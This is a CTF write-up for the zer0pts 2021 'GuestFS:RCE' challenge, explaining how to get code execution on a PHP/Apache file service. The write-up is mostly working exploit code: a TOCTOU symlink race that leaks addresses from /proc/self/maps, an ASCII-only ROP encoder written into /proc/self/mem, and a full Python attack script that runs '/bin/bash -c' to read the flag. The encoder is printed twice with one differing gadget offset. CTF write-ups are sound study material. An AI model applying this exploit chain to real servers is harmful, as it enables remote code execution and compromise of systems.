Try โ€‚โ€‰HackMD

GuestFS:RCE - zer0pts CTF 2021

tags: zer0pts CTF 2021

Introduction

This challenge is the second part of GuestFS.
We got arbitrary existing file read/write primitive in GuestFS:AFR.

Plan

Since we have arbitrary (existing) file read/write primitive, it's pretty natural to abuse procfs. (Check GuestFS:AFR first if you haven't gained this primitive yet.)
The hint gives us an importatnt information:

# echo 1 > /proc/sys/fs/suid_dumpable

This PHP application is working on apache2. Apache2 is, of couse, first run as root user and then drops its privilege to www-data.
Linux doesn't allow such a process to access /proc/self/mem even after the process is forked. This is because /proc/self/mem may contain information of the original root user. However, calling prctl with PR_SET_DUMPABLE makes it possible. Instead of calling this, the admin can apply this to all the processes by writing "1" to /proc/sys/fs/suid_dumpable.
So, this hint says "use /proc/self/mem."

Exploitation

Race Condition to Address Leak

Some of you may think it's easy to leak the address from /proc/self/maps or so.
However, validate_bounds function makes it hard.

    function validate_bounds($path, $size, $offset)
    {
        $st = stat($path);
        if ($offset < 0) {
            throw new Exception('offset must be positive');
        }
        if ($size < 0) {
            $size = $st['size'] - $offset;
            if ($size < 0) {
                throw new Exception('offset is larger than file size');
            }
        }
        if ($size === 0) {
            throw new Exception('size must be greater than 0');
        }
        if ($size + $offset > $st['size']) {
            throw new Exception('trying to read out of bound');
        }
        return $size;
    }

This function checks the file size and doesn't allow out-of-bounds read.
The size of most files in procfs is shown as zero by stat.

# stat /proc/self/maps
  File: /proc/self/maps
  Size: 0               Blocks: 0          IO Block: 1024   ้€šๅธธใฎ็ฉบใƒ•ใ‚กใ‚คใƒซ
Device: 5h/5d   Inode: 648610      Links: 1
Access: (0444/-r--r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2020-10-02 14:57:00.798940473 +0900
Modify: 2020-10-02 14:57:00.798940473 +0900
Change: 2020-10-02 14:57:00.798940473 +0900
 Birth: -

The point is that it uses the filepath both to check the file size and to open the file. Between these operations, we have enough time to change the contents of the file.

        ...
        $size = $this->validate_bounds($this->root.$name, $size, $offset);

        /* Alleviate heavy disk load. */
        usleep(500000);

        /* Read contents */
        $fp = @fopen($this->root.$name, "r");
        ...

So, the second vulnerability is TOCTOU. We can read /proc/self/maps by first pointing a symlink to a large file and second changing the link to /proc/self/maps.
However, you can't simply abuse a symlink to cause TOCTOU. Apache by default uses MPM to parallelize the socket connection. It forks the parent process multiple times and creats children. If multiple connections are established at the same time, some of the children are used to handle the requests. The point here is that MPM uses the same child process for the same PHP session. So, we must use two sessions to cause the race condition.
In this way we can leak the address of the apache process.

Memory Corruption

We can write data to any part of the apache binary, libraries, stack or wherever in the memory through /proc/self/mem. However, there's one problem.

        /* Write contents */
        $fp = @fopen($this->root.$name, "w");
        @fseek($fp, $offset, SEEK_SET);
        @fwrite($fp, $data);
        @fclose($fp);

PHP opens the file in "write-text" mode and doesn't accept some unprintable characters. It converts some bytes into UTF-8 bytearrays.
What we can write are the ascii characters(0x00-0x7F).
I first came up with injecting an alphanumeric shellcode but it didn't work because alphanumeric shellcode assumes the shellcode region is both writable and executable. In this case, we can inject data through /proc/self/mem and there's no RWX region in apache process.
My idea is to inject ascii ROP chain writer instead of ascii shellcode.

Injection Point

There are some ways to execute our shellcode. I chose ap_unixd_accept as the victim.

push    r12
push    rbp
mov     r12, rsi
push    rbx
mov     rbp, rdi
sub     rsp, 10h
mov     qword ptr [rdi], 0
mov     rsi, [rsi+8]
mov     rdi, rsp
mov     rax, fs:28h
mov     [rsp+28h+var_20], rax
xor     eax, eax
call    _apr_socket_accept
test    eax, eax
mov     ebx, eax
jz      short loc_7BDB0

I put my shellcode starting from the call instruction. This ensures that the registers hold the following constraints when our shellcode is executed.

rax == 0
rdi == rsp

rax == 0 is very useful.

ASCII ROP

It's not that hard to write ASCII ROP. Contrary to the ordinal(?) alphanumeric shellcode, we can use whatever characters in [0x00, 0x7f].
What we need to use are only the following instructions.

            50: push rax
            58: pop rax
            52: push rdx
            5a: pop rdx
            51: push rcx
            59: pop rcx
         34 XX: xor al, imm8
   30 44 24 XX: xor [rsp+imm8], al
   6B 04 24 05: imul eax, [rsp], 5

Basically, we push zero (rax) and xor it to create a desired value on stack.
Assume that we want to push 0xdead1234. The following code can accomplish this only with ASCII characters.

/* (1) rdx=0, cl=0x80 */
push rax
pop rdx
xor al, 8
push rax
imul eax, [rsp], 0x10
push rax
pop rcx

push rdx
/* (2) write 0x34 */
push rdx
pop rax
xor al, 0x34
xor [rsp], al

/* (3) write 0x12 */
push rdx
pop rax
xor al, 0x12
xor [rsp+1], al

/* (4) write 0xad */
push rcx
pop rax
xor al, 0x2d
xor [rsp+2], al

/* (5) write 0xde */
push rcx
pop rax
xor al, 0x2d
xor [rsp+3], al

After injecting the ROP chain, we just have to run "NOP" until RIP reaches to the nearest ret instruction on the binary. (Be noticed it's null terminated!)

I wrote an encoder for this trick.

from ptrlib import * elf = ELF("./apache2") def ascii_encode(proc_base): rop_xchg_eax_ebp = proc_base + 0x00054615 rop_pop_rdi = proc_base + 0x00037bd7 rop_pop_rsi = proc_base + 0x00038d16 rop_pop_rdx_rbx = proc_base + 0x00046eef rop_pop_rbp = proc_base + 0x0003713f rop_mov_prsi_rdi = proc_base + 0x0006e160 rop_syscall = proc_base + 0x0004662c addr_arg0 = proc_base # /bin/sh addr_arg1 = proc_base + 10 # -c addr_arg2 = proc_base + 13 # command addr_args = proc_base + elf.section(".bss") + 0x100 ropchain = [ # write args rop_pop_rsi, addr_args, rop_pop_rdi, addr_arg0, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 8, rop_pop_rdi, addr_arg1, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 0x10, rop_pop_rdi, addr_arg2, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 0x18, rop_pop_rdi, 0, rop_mov_prsi_rdi, # execve("/bin/bash", {"/bin/bash", "-c", "..."}) rop_pop_rdx_rbx, 0, 0, rop_pop_rsi, addr_args, rop_pop_rdi, addr_arg0, rop_pop_rbp, 59, rop_xchg_eax_ebp, rop_syscall ] encoder = [ # rdx=0x0, rcx=0x80 'push rax', 'pop rdx', 'xor al, 8', 'push rax', 'imul eax, [rsp], 0x10', 'push rax', 'pop rcx', ] for gadget in ropchain[::-1]: encoder += ['push rdx'] for i in range(8): v = (gadget >> (i * 8)) & 0xff if v == 0: continue if v >= 0x80: encoder += [ 'push rcx', 'pop rax', 'xor al, {}'.format(v ^ 0x80), 'xor [rsp+{}], al'.format(i) ] else: encoder += [ 'push rdx', 'pop rax', 'xor al, {}'.format(v), 'xor [rsp+{}], al'.format(i) ] binary = nasm('\n'.join(encoder), bits=64) if len(binary) % 2 != 0: binary += b'\x35\x44\x44\x44\x44' # xor eax, 0x44444444 binary += b'\x34\x77' * ((0x630 - len(binary)) // 2) # xor al, 0x77 return binary[:-1] # null termination

Test

Let's check on gdb.

 โ–บ 0x5555555d0324 <__libc_csu_init+100>    ret    <0x555555558061>
    โ†“
   0x555555558061                          pop    rsi
   0x555555558062                          ret    
    โ†“
   0x55555557c568                          pop    rdx
   0x55555557c569                          ret    
    โ†“
   0x5555555aad6d                          mov    qword ptr [rsi], rdx
   0x5555555aad70                          ret    
    โ†“
   0x555555558061                          pop    rsi
   0x555555558062                          ret    
    โ†“
   0x55555557c568                          pop    rdx
   0x55555557c569                          ret

Continue.

 โ–บ 0x555555554ff0    syscall  <SYS_execve>
        path: 0x555555554000 โ—‚โ€” u'/bin/bash'
        argv: 0x5555557f7780 โ€”โ–ธ 0x555555554000 โ—‚โ€” u'/bin/bash'
        envp: 0x0
        
pwndbg> x/4xg 0x5555557f7780
0x5555557f7780: 0x0000555555554000      0x000055555555400a
0x5555557f7790: 0x000055555555400d      0x0000000000000000
pwndbg> x/1s 0x0000555555554000
0x555555554000: "/bin/bash"
pwndbg> x/1s 0x000055555555400a
0x55555555400a: "-c"
pwndbg> x/1s 0x000055555555400d
0x55555555400d: "/bin/ls>/tmp/hoge1"

Yay!

Exploit

Chain the leak and memory corruption to win.

from ptrlib import *
from encoder import ascii_encode
import requests
import threading
import re
import hashlib
import time

URL = "http://0.0.0.0:9080/"

# We need 2 sessions because MPM uses one process per session
r = requests.get(URL)
cookies1 = r.cookies
r = requests.get(URL)
cookies2 = r.cookies
dirname1 = hashlib.md5(cookies1['PHPSESSID'].encode()).hexdigest()
dirname2 = hashlib.md5(cookies1['PHPSESSID'].encode()).hexdigest()

def create(name, target=None, cookies=None):
    if cookies is None: cookies = cookies1
    if target is None:
        r = requests.post(URL,
                          data={'mode':'create', 'name':name},
                          cookies=cookies)
    else:
        r = requests.post(URL,
                          data={'mode':'create', 'name':name, 'type':1, 'target':target},
                          cookies=cookies)
    return r

def read(name, offset=0, size=-1, cookies=None):
    if cookies is None: cookies = cookies1
    r = requests.post(URL,
                      data={'mode':'read', 'name':name, 'offset':offset, 'size':size},
                      cookies=cookies)
    return r

def write(name, data, offset=0, cookies=None):
    if cookies is None: cookies = cookies1
    r = requests.post(URL,
                      data={'mode':'write', 'name':name, 'offset':offset, 'data':data},
                      cookies=cookies)
    return r

def delete(name, cookies=None):
    if cookies is None: cookies = cookies1
    r = requests.post(URL,
                      data={'mode':'delete', 'name':name},
                      cookies=cookies)
    return r

proc_base = 0
win = False

def reader():
    global proc_base, win
    while True:
        print("b", end="", flush=True)
        r = read("evil", cookies=cookies2)
        if "r-xp" in r.text:
            break
    leak = re.findall("([0-9a-f]+)\-[0-9a-f]+ r\-\-p", r.text)[0]
    proc_base = int(leak, 16)
    win = True

def linker():
    global win
    while not win:
        print("a", end="", flush=True)
        delete("victim", cookies=cookies1)
        create("evil", "../../../../../../../../../../../../../proc/self/maps", cookies=cookies1)
        delete("victim", cookies=cookies1)
        create("evil", "../../../../../../../../../../../../../var/www/html/index.php", cookies=cookies1)

# (1) Leak proc base
create("victim", cookies=cookies1)
create("middle", "victim", cookies=cookies1)
create("evil", "middle", cookies=cookies1)
create("evil", f"../{dirname1}/middle", cookies=cookies2)
#"""
t1 = threading.Thread(target=reader)
t2 = threading.Thread(target=linker)
t1.start()
t2.start()
t1.join()
t2.join()
"""
proc_base = 0x5609e2c1d000 # you can fix it once you leak it as it's forked
#"""
logger.info("proc = " + hex(proc_base))

ap_unixd_accept_call = 0x7e67c

# (2) Inject args
for i in range(10):
    delete("victim", cookies=cookies1)
    create("evil", "../../../../../../../../../../../../../proc/self/mem", cookies=cookies1)
    offset = proc_base
    data = b'/bin/bash\0-c\0/bin/cat /flag*>/tmp/hogetaro'
    write("evil", data, offset, cookies=cookies1)

    time.sleep(1)
    # (3) ASCII ROP to win!
    offset = proc_base + ap_unixd_accept_call # ap_unixd_accept+0x2c
    data = ascii_encode(proc_base)
    write("evil", data, offset, cookies=cookies1)

Encoder:

from ptrlib import * elf = ELF("./apache2") def ascii_encode(proc_base): rop_xchg_eax_ebp = proc_base + 0x00054615 rop_pop_rdi = proc_base + 0x00037bd7 rop_pop_rsi = proc_base + 0x00038d16 rop_pop_rdx_rbx = proc_base + 0x00046eef rop_pop_rbp = proc_base + 0x0003713f rop_mov_prsi_rdi = proc_base + 0x0006e170 rop_syscall = proc_base + 0x0004662c addr_arg0 = proc_base # /bin/sh addr_arg1 = proc_base + 10 # -c addr_arg2 = proc_base + 13 # command addr_args = proc_base + elf.section(".bss") + 0x100 ropchain = [ # write args rop_pop_rsi, addr_args, rop_pop_rdi, addr_arg0, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 8, rop_pop_rdi, addr_arg1, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 0x10, rop_pop_rdi, addr_arg2, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 0x18, rop_pop_rdi, 0, rop_mov_prsi_rdi, # execve("/bin/bash", {"/bin/bash", "-c", "..."}) rop_pop_rdx_rbx, 0, 0, rop_pop_rsi, addr_args, rop_pop_rdi, addr_arg0, rop_pop_rbp, 59, rop_xchg_eax_ebp, rop_syscall ] encoder = [ # rdx=0x0, rcx=0x80 'push rax', 'pop rdx', 'xor al, 8', 'push rax', 'imul eax, [rsp], 0x10', 'push rax', 'pop rcx', ] for gadget in ropchain[::-1]: encoder += ['push rdx'] for i in range(8): v = (gadget >> (i * 8)) & 0xff if v == 0: continue if v >= 0x80: encoder += [ 'push rcx', 'pop rax', 'xor al, {}'.format(v ^ 0x80), 'xor [rsp+{}], al'.format(i) ] else: encoder += [ 'push rdx', 'pop rax', 'xor al, {}'.format(v), 'xor [rsp+{}], al'.format(i) ] binary = nasm('\n'.join(encoder), bits=64) if len(binary) % 2 != 0: binary += b'\x35\x44\x44\x44\x44' # xor eax, 0x44444444 binary += b'\x34\x77' * ((0x630 - len(binary)) // 2) # xor al, 0x77 return binary[:-1] # null termination